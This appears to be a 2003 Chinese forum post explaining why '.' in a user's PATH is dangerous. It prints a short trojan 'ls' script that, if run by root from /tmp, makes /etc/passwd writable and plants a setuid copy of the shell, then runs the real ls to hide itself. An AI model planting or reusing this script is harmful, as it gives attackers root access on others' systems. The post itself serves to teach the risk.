|
发表于 2003-12-19 00:10:37
|
显示全部楼层
多数的用户都有在路径中包含"."的"恶习", ;) 这里有个比较OLD的脚本,- #!/bin/sh
- if chmod 666 /etc/passwd >/dev/null 2>&1
- then cp /bin/sh /tmp/.sh
- chmod 4755 /tmp/.sh
- fi
- exec ls "$@"
复制代码 当用户在/tmp这个目录中执行ls的时候,执行的是上述的脚本,而不是实际的/bin/ls,但是最终还是执行了"ls",所以用户基本看不出什么异常,但是如果是root的话,就会把口令文件的权限设置成可写,并将shell cp到/tmp中保存成.sh,同时置setuserid位,
这就是可信路径中有"."的危险性~~,当然,这都是以前的linux版本出现的"漏洞",现在的系统这样拙劣的脚本是没用的,;) |
|